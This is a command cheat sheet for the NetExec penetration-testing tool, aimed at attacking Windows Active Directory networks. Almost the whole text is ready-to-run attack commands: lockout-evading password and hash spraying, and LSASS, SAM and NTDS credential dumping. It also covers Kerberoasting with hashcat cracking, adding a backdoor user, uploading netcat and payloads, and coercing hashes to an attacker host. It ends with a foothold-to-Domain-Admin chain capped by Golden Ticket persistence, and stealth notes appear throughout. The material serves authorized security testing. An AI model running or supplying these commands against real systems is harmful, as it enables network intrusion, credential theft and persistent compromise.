NetExec (nxc) cheatsheet

The NetExec (nxc) cheat sheet covers SMB/WinRM/LDAP/MSSQL enumeration, credential testing, hash dumping, and lateral movement across Active Directory environments.

#Getting Started

#Installation & Basics

# Install via pipx (recommended)
pipx install netexec

# Install latest dev build from GitHub
pipx install git+https://github.com/Pennyw0rth/NetExec

# Basic syntax
nxc <protocol> <target> -u <user> -p <pass>
nxc <protocol> <target> -u <user> -H <NThash>
nxc <protocol> <target> -u <user> -p <pass> -d <domain>

# Target formats accepted
nxc smb 192.168.1.10           # single IP
nxc smb 192.168.1.0/24         # CIDR range
nxc smb 192.168.1.1-254        # IP range
nxc smb targets.txt            # file of IPs/hostnames
nxc smb dc01.corp.local        # hostname

# List all modules for a protocol
nxc smb -L
nxc ldap -L
nxc mssql -L
nxc winrm -L

#Protocols Overview

Protocol	Port	Primary Use
`smb`	445	Windows shares, RPC, auth, exec
`ldap`	389/636	AD enumeration, Kerberos attacks
`winrm`	5985/5986	PS Remoting, remote management
`mssql`	1433	SQL Server auth, xp_cmdshell RCE
`wmi`	135	WMI execution channel
`ssh`	22	Linux targets, sudo checks
`rdp`	3389	RDP spray / auth test
`ftp`	21	FTP auth, file transfer
`vnc`	5900	VNC auth spray
`nfs`	111/2049	NFS share enum, file transfer

#Authentication Methods

Method	Flag	Notes
Password	`-p 'pass'`	Plaintext credential
NT hash (PTH)	`-H 'NT:LM'` or `-H 'NT'`	Pass-the-Hash, no plaintext needed
Kerberos (password)	`-k` or `--kerberos`	Requires valid KRB5CCNAME or krb5.conf
Kerberos (ccache)	`--use-kcache`	Use existing TGT from ccache file
AES key	`--aes-key <key>`	256-bit or 128-bit AES session key
Certificate (PFX)	`--pfx-cert cert.pfx`	Pass-the-Cert (PKINIT)
LAPS	`--laps`	Auto-retrieve LAPS password then auth
Local account	`--local-auth`	Authenticates as local user, not domain
Null session	`-u '' -p ''`	Unauthenticated; works on some SMB configs
Guest	`-u Guest -p ''`	Guest session fallback

#Command Builder

NetExec (nxc) Command Builder

Protocol

Target

Domain (optional, -d)

Credential Type

Username

Password

Action

Extra flags (appended verbatim)

Generated Command

Presets

Protocol Quick Reference

Port	Protocol	Common uses
445	SMB	File shares, lateral movement, cred dumping
5985/5986	WinRM	Remote PS, exec
389/636	LDAP	AD enumeration, Kerberoasting
22	SSH	Linux exec
1433	MSSQL	Query exec, xp_cmdshell
21	FTP	Anonymous access, file retrieval
3389	RDP	GUI access check

#Quick Reference Chain

#Credential Validation to Hash Dump

# 1. Validate credentials across subnet
nxc smb 192.168.1.0/24 -u admin -p 'P@ssw0rd' --continue-on-success

# 2. Confirm admin on a host (look for Pwn3d!)
nxc smb 192.168.1.10 -u admin -p 'P@ssw0rd'

# 3. Dump SAM (local hashes) on all admin hosts
nxc smb 192.168.1.0/24 -u admin -p 'P@ssw0rd' --sam

# 4. Dump LSA secrets (cached domain creds, svc accounts)
nxc smb 192.168.1.0/24 -u admin -p 'P@ssw0rd' --lsa

# 5. Dump LSASS in-memory (plaintext + hashes)
nxc smb 192.168.1.10 -u admin -p 'P@ssw0rd' -M lsassy

# 6. If DC access confirmed - dump all domain hashes
nxc smb 192.168.1.1 -u admin -p 'P@ssw0rd' --ntds

# 7. Spray recovered NT hash across entire domain
nxc smb 192.168.1.0/24 -u administrator -H 'NThash' --continue-on-success

# 8. Validate DA access via Kerberos ccache
export KRB5CCNAME=/tmp/administrator.ccache
nxc smb dc01.corp.local --use-kcache --ntds

#"Got Creds - What to Do?" Advisor

Select your credential type, what happened when you tested, and get the right nxc commands.

#SMB Protocol

#Host & Network Enumeration

# Discover live Windows hosts, OS, signing status
nxc smb 192.168.1.0/24

# Generate relay target list (hosts without SMB signing)
nxc smb 192.168.1.0/24 --gen-relay-list relay_targets.txt

# Generate /etc/hosts entries for discovered hosts
nxc smb 192.168.1.0/24 --generate-hosts-file hosts_file.txt

# Generate krb5.conf for Kerberos usage
nxc smb 192.168.1.0/24 --generate-krb5-file krb5.conf

# Full SMB enumeration in one shot
nxc smb 192.168.1.10 -u user -p pass \
  --users --groups --local-groups --loggedon-users \
  --sessions --shares --pass-pol

# Enumerate shares (with null session attempt)
nxc smb 192.168.1.10 -u '' -p '' --shares

# Enumerate shares (authenticated)
nxc smb 192.168.1.10 -u user -p pass --shares

# List domain users via RPC
nxc smb 192.168.1.10 -u user -p pass --users

# List domain groups
nxc smb 192.168.1.10 -u user -p pass --groups

# List local groups
nxc smb 192.168.1.10 -u user -p pass --local-groups

# List currently logged-on users (requires admin)
nxc smb 192.168.1.10 -u user -p pass --loggedon-users

# List active SMB sessions
nxc smb 192.168.1.10 -u user -p pass --sessions

# Enumerate password policy
nxc smb 192.168.1.10 -u user -p pass --pass-pol

# RID brute force - enumerate users and groups by SID
nxc smb 192.168.1.10 -u user -p pass --rid-brute

# RID brute force with custom max RID
nxc smb 192.168.1.10 -u user -p pass --rid-brute 10000

# Enumerate share directory contents
nxc smb 192.168.1.10 -u user -p pass --dir 'SYSVOL\corp.local\Policies'

#Credential Validation & Spraying

# Single host - password auth
nxc smb 192.168.1.10 -u administrator -p 'P@ssw0rd'

# Pass-the-Hash (NT hash only, or LMHASH:NTHASH)
nxc smb 192.168.1.10 -u admin -H 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0'
nxc smb 192.168.1.10 -u admin -H '31d6cfe0d16ae931b73c59d7e0c089c0'

# Local authentication (non-domain local accounts)
nxc smb 192.168.1.0/24 -u administrator -p 'P@ssw0rd' --local-auth

# Kerberos with existing ccache
export KRB5CCNAME=/tmp/user.ccache
nxc smb dc01.corp.local --use-kcache

# Kerberos with AES key
nxc smb 192.168.1.10 -u user -p pass --aes-key <256bit_hex_key>

# Kerberos delegation abuse (RBCD / S4U2Proxy)
nxc smb 192.168.1.11 -u 'COMPUTER$' -H '<hash>' --delegate Administrator

# S4U2Self (service account impersonation)
nxc smb 192.168.1.10 -u 'SVC_ACCOUNT$' -H '<hash>' --delegate Administrator --self

# Password spray - one password, many users (lockout-safe)
nxc smb 192.168.1.0/24 -u users.txt -p 'Winter2024!' --continue-on-success

# Credential stuffing - user:pass pairs (no cross-product)
nxc smb 192.168.1.0/24 -u users.txt -p passes.txt --no-bruteforce --continue-on-success

# Hash spray across subnet
nxc smb 192.168.1.0/24 -u administrator -H '<NThash>' --continue-on-success --local-auth

# Multiple users, multiple passwords (full matrix - use carefully)
nxc smb 192.168.1.10 -u user1 user2 user3 -p 'Pass1' 'Pass2'

# Spray with jitter (random delay between attempts, lockout avoidance)
nxc smb 192.168.1.0/24 -u users.txt -p 'Password1' --jitter 5 --continue-on-success

# Stop after N per-user failures (lockout protection)
nxc smb 192.168.1.0/24 -u users.txt -p pass.txt --ufail-limit 1

# Null and guest session testing
nxc smb 192.168.1.10 -u '' -p ''
nxc smb 192.168.1.10 -u 'Guest' -p ''

#Remote Execution Methods

# CMD execution (auto-selects method: wmiexec > atexec > smbexec)
nxc smb 192.168.1.10 -u admin -p pass -x "whoami /all"

# PowerShell execution
nxc smb 192.168.1.10 -u admin -p pass -X "Get-ADUser -Filter * | Select Name"

# Force specific execution method
nxc smb 192.168.1.10 -u admin -p pass -x "whoami" --exec-method wmiexec
nxc smb 192.168.1.10 -u admin -p pass -x "whoami" --exec-method smbexec
nxc smb 192.168.1.10 -u admin -p pass -x "whoami" --exec-method atexec
nxc smb 192.168.1.10 -u admin -p pass -x "whoami" --exec-method mmcexec

# Execute command without output (stealthier - no output file written)
nxc smb 192.168.1.10 -u admin -p pass -x "net user hacker P@ss /add" --no-output

# Run across subnet
nxc smb 192.168.1.0/24 -u admin -p pass -x "ipconfig /all"

#Execution Method Comparison

Method	Transport	Mechanism	Creates Service	Log Artifacts	OPSEC
`wmiexec`	WMI (135 + random)	WMI process create; output via SMB share	No	WMI activity, 4688	Default - moderate
`smbexec`	SMB (445)	Creates + starts a Windows service	Yes (temporary)	7045, 4688, svc logs	Noisiest - service creation
`atexec`	SMB (445)	Schedules and runs a task via Task Scheduler	No	4698, 4702 (sched task)	Moderate noise
`mmcexec`	DCOM (135)	MMC Application Class DCOM execution	No	DCOM/4688	Stealthier - less monitored

#File Operations

# Download a file from remote host
# Syntax: --get-file <REMOTE_PATH> <LOCAL_PATH>
nxc smb 192.168.1.10 -u admin -p pass --get-file 'C:\Windows\NTDS\NTDS.dit' ntds.dit
nxc smb 192.168.1.10 -u admin -p pass --get-file 'C:\Users\admin\Desktop\notes.txt' notes.txt

# Download from a specific share
nxc smb 192.168.1.10 -u admin -p pass \
  --get-file '\Users\admin\secret.txt' secret.txt --share C$

# Upload a file to remote host
# Syntax: --put-file <LOCAL_PATH> <REMOTE_PATH>
nxc smb 192.168.1.10 -u admin -p pass --put-file payload.exe 'C:\Windows\Temp\update.exe'

# Upload to a specific share
nxc smb 192.168.1.10 -u admin -p pass \
  --put-file nc.exe '\Windows\Temp\nc.exe' --share C$

# Spider all shares with spider_plus module (comprehensive, writes JSON report)
nxc smb 192.168.1.10 -u user -p pass -M spider_plus

# Download all readable files (use with caution on large shares)
nxc smb 192.168.1.10 -u user -p pass -M spider_plus -o DOWNLOAD_FLAG=True

# Spider + exclude specific extensions
nxc smb 192.168.1.10 -u user -p pass -M spider_plus \
  -o EXCLUDE_EXTS='.jpg,.png,.gif,.mp4'

# Spider specific share with --spider flag (lighter, pattern-based)
# Note: $ must be escaped in shell
nxc smb 192.168.1.10 -u user -p pass --spider C\$ --pattern txt

# Spider for specific filename patterns (passwords, config files)
nxc smb 192.168.1.10 -u user -p pass --spider SYSVOL --pattern password

# Spider with regex pattern matching
nxc smb 192.168.1.10 -u user -p pass --spider C\$ --regex '.*\.(config|xml|ini)$'

# Limit depth of recursion
nxc smb 192.168.1.10 -u user -p pass --spider C\$ --depth 3 --pattern pass

# Search file content (slow but thorough)
nxc smb 192.168.1.10 -u user -p pass --spider C\$ --content --pattern password

#Credential & Hash Dumping

#Dump Methods

# SAM database - local account hashes (admin required)
nxc smb 192.168.1.10 -u admin -p pass --sam

# LSA secrets - svc account plaintext, cached hashes, DPAPI masterkeys
nxc smb 192.168.1.10 -u admin -p pass --lsa

# NTDS.dit via DRSUAPI (DC replication, default method)
nxc smb 192.168.1.1 -u admin -p pass --ntds

# NTDS.dit via VSS (Volume Shadow Copy - bypasses DRSUAPI detection)
nxc smb 192.168.1.1 -u admin -p pass --ntds vss

# NTDS with password history (extra hashes, useful for spray)
nxc smb 192.168.1.1 -u admin -p pass --ntds --ntds-history

# DPAPI - decrypt user credential blobs, browser passwords, secrets
nxc smb 192.168.1.10 -u admin -p pass --dpapi

# LAPS - retrieve LAPS-managed local admin password
nxc smb 192.168.1.10 -u admin -p pass --laps

# Chain SAM + LSA in one run
nxc smb 192.168.1.0/24 -u admin -p pass --sam --lsa --continue-on-success

# lsassy module - LSASS dump via in-memory pypykatz (avoids disk writes)
nxc smb 192.168.1.10 -u admin -p pass -M lsassy

# nanodump - stealthy LSASS dump (custom nanodump binary)
nxc smb 192.168.1.10 -u admin -p pass -M nanodump

# procdump - LSASS via SysInternals procdump
nxc smb 192.168.1.10 -u admin -p pass -M procdump

# mimikatz - full credential harvest via mimikatz
nxc smb 192.168.1.10 -u admin -p pass -M mimikatz

# GPP passwords - find credentials in Group Policy Preferences (SYSVOL)
nxc smb 192.168.1.10 -u user -p pass -M gpp_password

# ntdsutil - alternative NTDS extraction method
nxc smb 192.168.1.10 -u admin -p pass -M ntdsutil

# Dump across entire subnet (parallelized)
nxc smb 192.168.1.0/24 -u admin -p pass -M lsassy --continue-on-success

#LDAP Protocol

#AD Enumeration

# Basic auth test against LDAP
nxc ldap 192.168.1.10 -u user -p pass

# Enumerate all domain users
nxc ldap 192.168.1.10 -u user -p pass --users

# Enumerate only active/enabled users
nxc ldap 192.168.1.10 -u user -p pass --active-users

# Enumerate all domain groups
nxc ldap 192.168.1.10 -u user -p pass --groups

# Enumerate domain computers
nxc ldap 192.168.1.10 -u user -p pass --computers

# All-in-one LDAP enumeration
nxc ldap 192.168.1.10 -u user -p pass \
  --users --groups --trusted-for-delegation \
  --password-not-required --admin-count

# Find accounts trusted for unconstrained delegation (TRUSTED_FOR_DELEGATION flag)
# High-value targets - compromise one = get TGTs for all authenticating users
nxc ldap 192.168.1.10 -u user -p pass --trusted-for-delegation

# Find accounts where password is not required (PASSWD_NOTREQD flag)
nxc ldap 192.168.1.10 -u user -p pass --password-not-required

# Find accounts protected by AdminSDHolder (AdminCount=1)
# These inherit ACLs from AdminSDHolder - usually privileged accounts
nxc ldap 192.168.1.10 -u user -p pass --admin-count

# Find all delegation misconfigurations (unconstrained + constrained + RBCD)
nxc ldap 192.168.1.10 -u user -p pass --find-delegation

# Get description field of all users (often contains passwords)
nxc ldap 192.168.1.10 -u user -p pass -M get-desc-users

# Check LDAP signing and channel binding requirements
nxc ldap 192.168.1.0/24 -u user -p pass -M ldap-checker

#Kerberos Attacks via LDAP

# Kerberoasting - extract TGS hashes for offline cracking
nxc ldap 192.168.1.10 -u user -p pass --kerberoasting kerb_hashes.txt

# Kerberoasting without pre-authentication (if AS-REP for your account)
nxc ldap 192.168.1.10 -u user -p pass --kerberoasting kerb_hashes.txt -k

# AS-REP Roasting - find users with UF_DONT_REQUIRE_PREAUTH
nxc ldap 192.168.1.10 -u user -p pass --asreproast asrep_hashes.txt

# AS-REP Roasting with username list (no password needed)
nxc ldap 192.168.1.10 -u users.txt -p '' --asreproast asrep_hashes.txt

# Crack Kerberoast hashes
hashcat -m 13100 kerb_hashes.txt rockyou.txt

# Crack AS-REP hashes
hashcat -m 18200 asrep_hashes.txt rockyou.txt

#Advanced LDAP Queries

# Retrieve gMSA (Group Managed Service Account) passwords
# Requires account in gMSA's PrincipalsAllowedToRetrieveManagedPassword group
nxc ldap 192.168.1.10 -u user -p pass --gmsa

# Convert gMSA ID to usable format
nxc ldap 192.168.1.10 -u user -p pass --gmsa-convert-id <object_id>

# Decrypt gMSA password from LSA
nxc ldap 192.168.1.10 -u user -p pass --gmsa-decrypt-lsa <gmsa_account>

# LAPS - retrieve LAPS-managed local admin passwords via LDAP
nxc ldap 192.168.1.10 -u user -p pass -M laps

# ADCS - enumerate Certificate Authority templates
nxc ldap 192.168.1.10 -u user -p pass -M adcs

# Machine Account Quota - check ms-DS-MachineAccountQuota
nxc ldap 192.168.1.10 -u user -p pass -M maq

# Pre-created computer accounts (pre2k) - computers with weak default passwords
nxc ldap 192.168.1.10 -u user -p pass -M pre2k

# SCCM enumeration via LDAP
nxc ldap 192.168.1.10 -u user -p pass -M sccm

# Enumerate Entra ID / MSOL accounts for Azure AD Connect abuse
nxc ldap 192.168.1.10 -u user -p pass -M msol

#BloodHound Integration

# Full BloodHound collection (all data, Community Edition default)
nxc ldap dc01.corp.local -u user -p pass --bloodhound -c All

# BloodHound with DNS settings
nxc ldap dc01.corp.local -u user -p pass \
  --bloodhound -c All --dns-server 192.168.1.1 --dns-tcp

# Specific collection methods (comma-separated)
nxc ldap dc01.corp.local -u user -p pass --bloodhound -c DCOnly
nxc ldap dc01.corp.local -u user -p pass --bloodhound -c Group,LocalAdmin,ACL
nxc ldap dc01.corp.local -u user -p pass --bloodhound -c Session,LoggedOn

# BloodHound via Kerberos ccache
export KRB5CCNAME=/tmp/user.ccache
nxc ldap dc01.corp.local --use-kcache --bloodhound -c All

# BloodHound data is written to ~/.nxc/logs/ as ZIP for import

#WinRM Protocol

#WinRM Command Reference

# Test WinRM access (port 5985 HTTP / 5986 HTTPS)
nxc winrm 192.168.1.10 -u user -p pass

# Test across subnet
nxc winrm 192.168.1.0/24 -u user -p pass

# Execute CMD command via WinRM
nxc winrm 192.168.1.10 -u user -p pass -x "whoami /all"

# Execute PowerShell command
nxc winrm 192.168.1.10 -u user -p pass -X "Get-LocalUser | Select Name,Enabled"

# Pass-the-Hash via WinRM
nxc winrm 192.168.1.10 -u user -H 'NThash'

# Kerberos authentication
nxc winrm 192.168.1.10 -u user -p pass --kerberos

# Use existing ccache
export KRB5CCNAME=/tmp/user.ccache
nxc winrm dc01.corp.local --use-kcache -X "hostname"

# Domain specification
nxc winrm 192.168.1.10 -u user -p pass -d corp.local

# Local auth via WinRM
nxc winrm 192.168.1.10 -u localadmin -p pass --local-auth

# WinRM with LAPS (auto-fetch LAPS password then exec)
nxc winrm 192.168.1.10 -u laps_reader -p pass --laps -x "whoami"

# Dump credentials via WinRM (requires admin)
nxc winrm 192.168.1.10 -u admin -p pass --sam
nxc winrm 192.168.1.10 -u admin -p pass --lsa

# Spray then exec on all valid WinRM hosts
nxc winrm 192.168.1.0/24 -u admin -p pass --continue-on-success \
  -X "Get-ADGroupMember 'Domain Admins'"

#WinRM Notes

Scenario	Flag / Command
HTTP WinRM	Port 5985 (default)
HTTPS WinRM	Port 5986 with `--ssl`
Requires membership in	Administrators or Remote Management Users
`(Pwn3d!)` indicator	Full admin shell available
Non-admin valid user	No Pwn3d! but creds are valid
Use for interactive shell	`evil-winrm -i <ip> -u <user> -p <pass>`

#MSSQL Protocol

#Authentication & Enumeration

# Test Windows auth (domain creds)
nxc mssql 192.168.1.10 -u user -p pass

# Test SQL auth (local SQL account)
nxc mssql 192.168.1.10 -u sa -p 'password' --local-auth

# Specify domain
nxc mssql 192.168.1.10 -u user -p pass -d corp.local

# Pass-the-Hash to MSSQL
nxc mssql 192.168.1.10 -u user -H 'NThash'

# Spray MSSQL across subnet
nxc mssql 192.168.1.0/24 -u sa -p 'sa' --local-auth --continue-on-success

# Execute SQL query
nxc mssql 192.168.1.10 -u sa -p pass --local-auth \
  -q "SELECT name FROM master.dbo.sysdatabases;"

# List all databases
nxc mssql 192.168.1.10 -u sa -p pass --local-auth \
  -q "SELECT name,database_id FROM sys.databases;"

# Check current user and role
nxc mssql 192.168.1.10 -u sa -p pass --local-auth \
  -q "SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin');"

#Command Execution & Privilege Escalation

# OS command execution via xp_cmdshell (auto-enables if sysadmin)
nxc mssql 192.168.1.10 -u sa -p pass --local-auth -x "whoami"

# xp_cmdshell - execute without output (fire-and-forget)
nxc mssql 192.168.1.10 -u sa -p pass --local-auth -x "net user hacker P@ss /add" --no-output

# Escalate privileges - mssql_priv tries: impersonation, trustworthy DB, xp_cmdshell
nxc mssql 192.168.1.10 -u lowpriv -p pass -M mssql_priv

# Enumerate users who can be impersonated
nxc mssql 192.168.1.10 -u user -p pass \
  -q "SELECT distinct b.name FROM sys.server_permissions a \
      INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id \
      WHERE a.permission_name = 'IMPERSONATE';"

# File download via MSSQL (Bulk Insert)
nxc mssql 192.168.1.10 -u sa -p pass --local-auth \
  --get-file C:\Windows\NTDS\ntds.dit ntds.dit

# UNC path injection - coerce MSSQL service account hash to attacker
# Start Responder first: responder -I eth0 -wPv
nxc mssql 192.168.1.10 -u sa -p pass --local-auth \
  -q "EXEC master..xp_dirtree '\\\\192.168.1.99\\share\\a';"

# Enumerate linked servers
nxc mssql 192.168.1.10 -u sa -p pass -M enum_links

# Execute command on linked server (manual via -q)
nxc mssql 192.168.1.10 -u sa -p pass --local-auth \
  -q "EXEC ('xp_cmdshell ''whoami''') AT [linked_server_name];"

# Spider MSSQL for interesting data
nxc mssql 192.168.1.10 -u sa -p pass --local-auth \
  -q "SELECT table_catalog,table_name FROM information_schema.tables WHERE table_type='BASE TABLE';"

#SSH Protocol

#SSH Command Reference

# Test SSH credentials
nxc ssh 192.168.1.10 -u user -p pass

# Test across subnet
nxc ssh 192.168.1.0/24 -u user -p pass

# SSH key authentication
nxc ssh 192.168.1.10 -u user --key-file ~/.ssh/id_rsa

# SSH with non-standard port
nxc ssh 192.168.1.0/24 -u user -p pass --port 2222

# Execute command
nxc ssh 192.168.1.10 -u user -p pass -x "id; hostname; cat /etc/passwd"

# Password spray (no cross-product with --no-bruteforce)
nxc ssh 192.168.1.0/24 -u users.txt -p passwords.txt --no-bruteforce --continue-on-success

# Check sudo privileges
nxc ssh 192.168.1.10 -u user -p pass --sudo-check

# Escalate with sudo check + execution
nxc ssh 192.168.1.10 -u user -p pass --sudo-check -x "sudo id"

# Upload file via SSH
nxc ssh 192.168.1.10 -u user -p pass --put-file local.sh /tmp/shell.sh

# Download file via SSH
nxc ssh 192.168.1.10 -u user -p pass --get-file /etc/shadow shadow.txt

#SSH Status Indicators

Output	Meaning
`[+]`	Valid credentials
`(Pwn3d!)`	Root or sudo access confirmed
`[-]`	Invalid credentials
`[*]`	Command output or module info

#Password Spray Techniques

#Lockout-Safe Spraying

# === STEP 1: Get the password policy first ===
nxc smb 192.168.1.10 -u '' -p '' --pass-pol
# Note lockout threshold (e.g., 5 attempts) and observation window

# === STEP 2: One-password spray across all users ===
# --continue-on-success: don't stop after first hit
# --jitter 5: add 0-5 second random delay between attempts
nxc smb 192.168.1.0/24 -u users.txt -p 'Winter2024!' \
  --continue-on-success --jitter 5

# === STEP 3: Wait for lockout window to reset, then spray again ===
nxc smb 192.168.1.0/24 -u users.txt -p 'Spring2024!' \
  --continue-on-success --jitter 5

# Limit failures per user (prevents lockout if threshold is 3)
nxc smb 192.168.1.0/24 -u users.txt -p pass.txt \
  --ufail-limit 1 --continue-on-success

# Limit failures per host
nxc smb 192.168.1.0/24 -u users.txt -p pass.txt --fail-limit 5

# Credential stuffing (user:pass pairs, not matrix)
nxc smb 192.168.1.0/24 -u users.txt -p passwords.txt \
  --no-bruteforce --continue-on-success

# Hash spray - spray recovered NT hash across entire subnet
nxc smb 192.168.1.0/24 -u administrator -H '<NThash>' \
  --local-auth --continue-on-success

# Hash spray domain accounts
nxc smb 192.168.1.0/24 -u svc_backup -H '<NThash>' \
  -d corp.local --continue-on-success

# Kerberos spray (avoids NTLM logging)
nxc smb 192.168.1.0/24 -u users.txt -p 'Password1' \
  --kerberos --continue-on-success

#Spray Lockout Reference

Flag	Purpose	Recommended Value
`--jitter N`	Random 0-N second delay per attempt	3-10 seconds
`--ufail-limit N`	Max failures per username before skip	1 (if threshold=3)
`--fail-limit N`	Max failures per host before skip	5
`--no-bruteforce`	Pair users[i] with passwords[i] only	Credential stuffing
`--continue-on-success`	Don't stop on first valid cred	Always use in spray
`--local-auth`	Auth as local account not domain	Hash spray of local admins

#All Modules Reference

#SMB Modules

Module	Description	Privilege
`lsassy`	LSASS dump via in-memory pypykatz (no disk write)	Admin
`nanodump`	Stealthy LSASS dump via custom nanodump binary	Admin
`mimikatz`	Full credential dump via mimikatz	Admin
`procdump`	LSASS dump via Sysinternals procdump	Admin
`ntdsutil`	NTDS extraction via ntdsutil.exe	DC Admin
`spider_plus`	Recursive share spider with JSON report + optional download	Read
`gpp_password`	Extract credentials from GPP XML in SYSVOL	Domain User
`enum_av`	Detect installed AV/EDR products	Admin
`zerologon`	Check CVE-2020-1472 (Zerologon) vulnerability	None
`petitpotam`	Trigger NTLM coercion via EFS RPC	None/Auth
`nopac`	Check CVE-2021-42278/42287 (NoPac/sAMAccountName spoofing)	Domain User
`printnightmare`	Check/exploit CVE-2021-1675 PrintNightmare	Domain User
`ms17-010`	Check EternalBlue (MS17-010) vulnerability	None
`remove-mic`	Check CVE-2019-1040 (DropTheMIC)	None
`coerce_plus`	Combined coercion: PetitPotam, PrinterBug, DFSCoerce, etc.	None/Auth
`webdav`	Check WebDAV service (useful for NTLM coercion via HTTP)	None
`veeam`	Extract Veeam B&R database credentials	Admin
`backup_operator`	Dump SAM/SYSTEM via Backup Operator privilege abuse	Backup Op
`schtask_as`	Execute command in context of logged-on user via schtasks	Admin
`powershell_history`	Read PowerShell command history from user profiles	Admin
`wifi`	Extract saved WiFi credentials	Admin
`iis`	Extract IIS application pool and site credentials	Admin
`winscp`	Extract WinSCP saved session credentials	Admin
`eventlog_creds`	Search event logs for plaintext credentials	Admin
`bitlocker`	Enumerate BitLocker status on drives	Admin
`security_questions`	Enumerate local user security question hints	Admin
`snippet`	Take screenshot of logged-on user desktop	Admin

#LDAP Modules

Module	Description	Privilege
`ldap-checker`	Check LDAP signing + channel binding enforcement	Domain User
`adcs`	Enumerate ADCS Certificate Authority templates	Domain User
`maq`	Check ms-DS-MachineAccountQuota value	Domain User
`pre2k`	Find pre-created computer accounts with default passwords	Domain User
`laps`	Retrieve LAPS-managed local admin passwords	LAPS Reader
`msol`	Extract Azure AD Connect MSOL account credentials	Admin
`sccm`	Enumerate SCCM/MECM infrastructure via LDAP	Domain User
`badsuccessor`	Check BadSuccessor privilege escalation condition	Domain User
`entra-id`	Enumerate Entra ID/Azure AD connected accounts	Domain User
`aws-credentials`	Find AWS credential files on hosts	Admin

#MSSQL & Other Protocol Modules

Module	Protocol	Description
`mssql_priv`	`mssql`	Escalate to sysadmin via impersonation/trustworthy DB
`enum_links`	`mssql`	Enumerate linked SQL servers
`empire_exec`	`smb`	Deploy Empire agent stager
`met_inject`	`smb`	Inject Meterpreter shellcode
`presence`	`smb`	Check host availability / connectivity

#Output Legend & Filtering

#Output Status Indicators

Symbol / Tag	Meaning
`[+]`	Authentication successful
`[-]`	Authentication failed
`[*]`	Informational message or module output
`[!]`	Warning or non-fatal error
`(Pwn3d!)`	Local admin confirmed - full execution rights
`(Guest)`	Guest session - limited access
`(Signing:True)`	SMB signing enforced - relay not possible
`(Signing:False)`	SMB signing disabled - relay target
`(SMBv1:True)`	SMBv1 enabled - EternalBlue candidate
`(LDAP Signing: Disabled)`	LDAP relay possible
`STATUS_LOGON_FAILURE`	Wrong password
`STATUS_ACCOUNT_DISABLED`	Account exists but disabled
`STATUS_ACCOUNT_LOCKED_OUT`	Account locked - stop spraying this user
`STATUS_PASSWORD_EXPIRED`	Password expired - still useful for enumeration
`KDC_ERR_PREAUTH_FAILED`	Wrong Kerberos password
`KDC_ERR_CLIENT_REVOKED`	Account disabled/locked in Kerberos

#Filtering & Logging

# Save all output to log file
nxc smb 192.168.1.0/24 -u admin -p pass --log results.txt

# Filter successful auths in terminal
nxc smb 192.168.1.0/24 -u admin -p pass | grep '\[+\]'

# Filter admin access (Pwn3d!)
nxc smb 192.168.1.0/24 -u admin -p pass | grep 'Pwn3d'

# Show only failed attempts
nxc smb 192.168.1.0/24 -u admin -p pass | grep '\[-\]'

# Show locked out accounts
nxc smb 192.168.1.0/24 -u users.txt -p 'Password1' | grep 'LOCKED_OUT'

# Increase verbosity
nxc smb 192.168.1.10 -u admin -p pass -v
nxc smb 192.168.1.10 -u admin -p pass -vv

# Debug mode
nxc smb 192.168.1.10 -u admin -p pass --debug

#nxcdb Database

#Database CLI Reference

# Launch nxcdb interactive console
nxcdb

# === WORKSPACE MANAGEMENT ===
workspace list                        # list all workspaces
workspace create <name>               # create new workspace (e.g. "client_pentest")
workspace <name>                      # switch to workspace

# Create workspace from CLI (without entering nxcdb)
nxcdb -cw engagement1                 # create workspace
nxcdb -sw engagement1                 # switch to workspace
nxcdb -gw                             # get current workspace name

# === PROTOCOL DATABASE ACCESS ===
proto smb                             # enter SMB protocol database
proto ldap                            # enter LDAP protocol database
back                                  # return to workspace level

# === HOSTS ===
hosts                                 # list all discovered hosts
hosts <ip_or_hostname>                # detailed info for specific host (incl. creds)

# === CREDENTIALS ===
creds                                 # list all stored credentials
creds <username>                      # show creds for specific user + admin access info
creds add smb <ip> <user> <pass>      # manually add credential

# === SHARES, GROUPS, DPAPI ===
shares                                # list all discovered shares
groups                                # list discovered AD groups
dpapi                                 # list DPAPI secrets/blobs

# === EXPORT ===
export creds simple creds_export.csv
export creds detailed creds_full.csv
export hosts simple hosts_export.csv
export hosts detailed hosts_full.csv
export shares simple shares_export.csv
export local_admins simple admins.csv
export signing simple signing_status.csv

# === MISC ===
help                                  # show available commands
help <command>                        # detailed help for a command
wcc                                   # Windows Credential Cache operations
exit                                  # exit nxcdb

#Practical Attack Chains

#From Initial Foothold to Domain Admin

# 1. Recon - discover live hosts, signing, OS info
nxc smb 192.168.1.0/24 --gen-relay-list relay.txt

# 2. Unauthenticated enumeration - null/guest sessions
nxc smb 192.168.1.0/24 -u '' -p '' --shares --users --pass-pol

# 3. Password spray (obey lockout policy)
nxc smb 192.168.1.0/24 -u users.txt -p 'Welcome1!' --continue-on-success --jitter 5

# 4. Validate hits and map privileges
nxc smb 192.168.1.0/24 -u sprayed_user -p 'Welcome1!' 2>&1 | grep 'Pwn3d\|+'

# 5. LDAP enumeration + BloodHound collection
nxc ldap dc01 -u user -p pass --bloodhound -c All --dns-server 192.168.1.1

# 6. Kerberoast + AS-REP Roast service accounts
nxc ldap dc01 -u user -p pass --kerberoasting kerb.txt --asreproast asrep.txt

# 7. Credential dumping on owned hosts
nxc smb 192.168.1.0/24 -u admin -p pass -M lsassy --continue-on-success

# 8. Pivot with recovered hashes via PTH
nxc smb 192.168.1.0/24 -u svc_backup -H '<NThash>' --continue-on-success

# 9. If DA or DC admin - dump NTDS
nxc smb dc01 -u da_user -p pass --ntds vss

# 10. Golden Ticket / persistence
impacket-ticketer -nthash <krbtgt_hash> -domain-sid <SID> -domain corp.local administrator

#Lateral Movement via Pass-the-Hash

# Harvest NT hashes from SAM on all admin hosts
nxc smb 192.168.1.0/24 -u localadmin -p pass --sam --continue-on-success

# Test local admin hash against entire subnet (RID 500 reuse)
nxc smb 192.168.1.0/24 -u administrator -H '<NThash>' --local-auth --continue-on-success

# Find WinRM-enabled hosts for interactive access
nxc winrm 192.168.1.0/24 -u administrator -H '<NThash>' --local-auth

# Use LAPS-aware accounts to reach hardened hosts
nxc smb 192.168.1.0/24 -u laps_reader -p pass --laps --continue-on-success

# Execute payload or beacon stager on owned hosts
nxc smb 192.168.1.0/24 -u admin -H '<hash>' --local-auth -x "powershell -enc <b64>"

#RDP Protocol

#RDP Enumeration & Spraying

